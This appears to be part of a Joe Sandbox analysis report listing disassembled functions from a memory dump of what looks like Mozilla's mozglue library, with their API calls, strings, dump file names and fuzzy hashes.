Part of subcall function 6CA481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA481DE

Strings

expected a Time entry, xrefs: 6CA82E36
(root), xrefs: 6CA8354F
ProfileBuffer parse error: %s, xrefs: 6CA82E3B

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2b60b91ea768f19eab2d3bf780e126feb155599d247aae74a95ce914b8147dc2
Instruction ID: ef65a352e1a6e296cf53c3cbdb96016a3e69cc5e38fa444cb16ea1f353f35617
Opcode Fuzzy Hash: 2b60b91ea768f19eab2d3bf780e126feb155599d247aae74a95ce914b8147dc2
Instruction Fuzzy Hash: 3391C3B06097418FC724CF28C49466FFBE0AF89358F148A1DE99A97751EB30D589CB52

Function 6CA5C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CA5D4BB
0123456789abcdef, xrefs: 6CA5C317

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 1380c6c14cff7f1f311e9e2edac0fa5781ac5e1eabb3a57300b1fe841c030f2b
Instruction ID: a79c3cc40481f61f6535ac396fc2985f0e9a8e2e885437bde1d3ec3ca57d6ca5
Opcode Fuzzy Hash: 1380c6c14cff7f1f311e9e2edac0fa5781ac5e1eabb3a57300b1fe841c030f2b
Instruction Fuzzy Hash: 84521570A083418FD714CF28C59075AB7F2FB8A318F98C91EE8D687B95D7359896CB42

Function 6CA99E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CA99F3D
__aulldiv.LIBCMT ref: 6CA99F77
__aullrem.LIBCMT ref: 6CA99F8C
__aulldiv.LIBCMT ref: 6CA9A023

Strings

-Infinity, xrefs: 6CA99E60, 6CA99E7B
NaN, xrefs: 6CA99EAB

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b476ca2497c2152688bb53b97986f00b9ca2987a7380ac5b14bfded44845d834
Instruction ID: a506598afa957b7f2f095eecf755a9cffd540a1efa953fecc112779b68227db6
Opcode Fuzzy Hash: b476ca2497c2152688bb53b97986f00b9ca2987a7380ac5b14bfded44845d834
Instruction Fuzzy Hash: E9C1A031E103199FDB14CFA9C85179EB7F7BB88304F18452AD40AABB80D771AD89CB91

Function 6CA3D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6CA3DE7F
, xrefs: 6CA3DA88
0, xrefs: 6CA3D852
-, xrefs: 6CA3D7DD
1, xrefs: 6CA3DBDD
@, xrefs: 6CA3DAF6
8, xrefs: 6CA3DC08
0, xrefs: 6CA3DC7F

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 57a00524794ff2e60ae43ffdbfa5598e7e9470392c390b8872c00311c0bfcf71
Instruction ID: b0610d3bf936264a36035ac6706eb66deae72e6cf19ac8fb591b8f99e228132a
Opcode Fuzzy Hash: 57a00524794ff2e60ae43ffdbfa5598e7e9470392c390b8872c00311c0bfcf71
Instruction Fuzzy Hash: 2562D270D2C365CFD701CE28C4A075ABBF2AF86358F186A0DE4D98BA91C33599C5CB52

Function 6CA49F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6CA4A5D6
@, xrefs: 6CA4A625
0, xrefs: 6CA4AB22
0, xrefs: 6CA4A100
1, xrefs: 6CA4A824
' , xrefs: 6CA4A3D8

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 679cb705bdea348c41535a16a5d5111378582c3b531a0918ef936fd17dffde62
Instruction ID: b2b45e33473733cc1d06976a516a01b541968628eca68b3c3a4387061b434b13
Opcode Fuzzy Hash: 679cb705bdea348c41535a16a5d5111378582c3b531a0918ef936fd17dffde62
Instruction Fuzzy Hash: 4082CE759093158BD710CF19C18036EB7E3EB85759F69CA3EE8A547A90D334ACC6CB82

Function 6CA3BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA3C1CB
__aulldiv.LIBCMT ref: 6CA3C24C
__aulldiv.LIBCMT ref: 6CA3C348
__aullrem.LIBCMT ref: 6CA3C365
__aulldiv.LIBCMT ref: 6CA3C37D

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 8665b8d3c0e0be9d1f2caa554bf8501ae59a79489c0d439b615a9c2ade226194
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 44322632B046618FC718DE2CC8A0656BBE6AFC9314F09876DE899CB395D734ED05CB91

Function 6CAA545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAA8A4B

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 1d8b3ec3f444ecd21a9bf1be2d5ad44ddaf227521db7a4948d355ec5e5c20fbb
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: A5B1E972E0021A8FDB14CFA8CD907E9B7B2EF85314F1902A9C549DB791D73099CACB90

Function 6CAA542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAA88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAA925C

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: cfe45530c55475abe453a65424764fbd8818f982cea70f0c691acc17966d8edf
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 5EB1C672E0420A8FDB14CFA8C9816EDB7B2AF85314F180269C549DB795D731A9DACB90

Function 6CAA50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAA8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAA925C

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 313aa8d4bfa6c550448d2c45461faeea9085e33e6c2585ea56031f06c11a8019
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 3EA1D872E001168FDB14CFA8CC807E9B7B2AF85314F1942BAC949DB755D731A9DACB90

Function 6CA877A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA87A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA87A93

Part of subcall function 6CA55C50: GetTickCount64.KERNEL32 ref: 6CA55D40
Part of subcall function 6CA55C50: EnterCriticalSection.KERNEL32(6CABF688), ref: 6CA55D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA87AA1

Part of subcall function 6CA55C50: __aulldiv.LIBCMT ref: 6CA55DB4
Part of subcall function 6CA55C50: LeaveCriticalSection.KERNEL32(6CABF688), ref: 6CA55DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CA87B31

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: e6c4399526151b62896a239e9ba6f81bd0545b40e082354bab6da3e632775194
Instruction ID: 89b22779dabf4be645dceba99c12b03827b503310e4e1206332622019fb52f72
Opcode Fuzzy Hash: e6c4399526151b62896a239e9ba6f81bd0545b40e082354bab6da3e632775194
Instruction Fuzzy Hash: 7EB1B0357093858BCB14CF24C45065FB7E2BFC5318F594A1CE996A7B90DB70E98ACB82

Function 6CA76CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA76D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA76E1E

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 819d0f1f69d773e97c084206139aa68f45478c63ee50eab71c0eabe26cd02cfb
Instruction ID: 7e65a065e5f67c063667b7a5d6224a0285825e05709a648224ab935c7a6006bf
Opcode Fuzzy Hash: 819d0f1f69d773e97c084206139aa68f45478c63ee50eab71c0eabe26cd02cfb
Instruction Fuzzy Hash: 91A17F746183818FD725CF24C5907AEFBF2BF89308F45891DE48A87751DB70A989CB92

Function 6CA9B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CA9B720
RtlNtStatusToDosError.NTDLL ref: 6CA9B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CA6FE3F,00000000,00000000,?,?,00000000,?,6CA6FE3F), ref: 6CA9B760

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 9b25afb1c7586df8346e8d1be4d610a08cf1d5a16a1565627c06a5ced85411de
Instruction ID: 02efeb364edbaf9c45a6b37bc728e04feb90049da49f7667664c6bd85818c6e5
Opcode Fuzzy Hash: 9b25afb1c7586df8346e8d1be4d610a08cf1d5a16a1565627c06a5ced85411de
Instruction Fuzzy Hash: ACF0DCB0A0120CAAEF109AE59C86BEE73BA9B0431DF005329E11162580C77495CCC660

Function 6CA54640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CA54777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA55585, 6CA555A8, 6CA555C3, 6CA55624

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 99711df5ce4faf1e83a60df0e2c8a35ecdbb2306900cd2f931523a5a80f69fe0
Instruction ID: d0ac7917913e3beade66e5aaf15eb573f011b91fed32bb64898bc06dae003657
Opcode Fuzzy Hash: 99711df5ce4faf1e83a60df0e2c8a35ecdbb2306900cd2f931523a5a80f69fe0
Instruction Fuzzy Hash: 58B27C71A057018FD308CF19C590715BBE2BFC5328B6DC76DE86A8B6A5D771E8A1CB80

Function 6CA985F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA98C7C
__aulldiv.LIBCMT ref: 6CA98DD7

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: dfb0c2a5bbf6c82b78b90fed9ccbb0c8114b3a7c7c67a6c66994c6163c08e174
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: FB326E71F111198BDF18CE9DC8A27EEB7F2FB88300F15852AD506BB790DA349D858B91

Function 6CA9B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CA403D4,?), ref: 6CA9B955
NtQueryVirtualMemory.NTDLL ref: 6CA9B9A5

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 730950c5cca59159da7dfedbfc443513987aadfed1758a1cd569f8afe26be3db
Instruction ID: 13a872696fd23247bb5028cd352b39b358fd0b37f69f345fd186d66610f1bec1
Opcode Fuzzy Hash: 730950c5cca59159da7dfedbfc443513987aadfed1758a1cd569f8afe26be3db
Instruction Fuzzy Hash: 8B41B471E1121D9FDF14CFA9E991ADEB7F5EF88314F14822AE405A7B04DB3098898B90

Function 6CA75C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA44A63,?,?), ref: 6CA75F06

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 46586e4ecbbc1e216ca3c4b354d5262eebc47cf7a5bebca66f00827bdb2edaa0
Instruction ID: a685a66f979135076aec6926b6d7b17816d603bb5515d8f856e9b6bd0c22625f
Opcode Fuzzy Hash: 46586e4ecbbc1e216ca3c4b354d5262eebc47cf7a5bebca66f00827bdb2edaa0
Instruction Fuzzy Hash: 58C1E479D012098FCB14CF99C5906EEBBF2FF89318F28415DD8556BB45D732A886CBA0

Function 6CA3DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 717c4a733a5eab2ffab367d31f992afd4d8e698376b0387635a3226f3a429526
Instruction ID: 11cbda3c1e455bdfeae5482477cd70605aa7997c712b6b51623e214960f2de3a
Opcode Fuzzy Hash: 717c4a733a5eab2ffab367d31f992afd4d8e698376b0387635a3226f3a429526
Instruction Fuzzy Hash: 51429172A087518BD308CE2CC49175AB3E2BFC9354F199B2DE999E7790D734DD828B81

Function 6CAA76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 954f7bab671ea24f6f05f2b7d83c7083494a6bb32d97074966e70a71e4a5dac0
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: CD32F971E0061A8FCB14CF99C890AADF7B2FF88304F58816AC549E7749D731A986CF90

Function 6CAA6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 7a07b638316492efb50b9bd38170e1a8fd6ac4dc44343ac5b60581aa1760ddac
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: DA22D771E006198FCB14CF99C980AADF7B2FF88304F6985AAC549E7745D731A986CF90

Function 6CA60512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: f82b2e3e42b5ee64e194facbfbed72dec0f86a99b7b196e094820b639afdd9eb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 5E221871E00619CFCB14CF99C890AADFBB2FF88304F588599D54AA7B45D731A986CF80

Function 6CAAAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
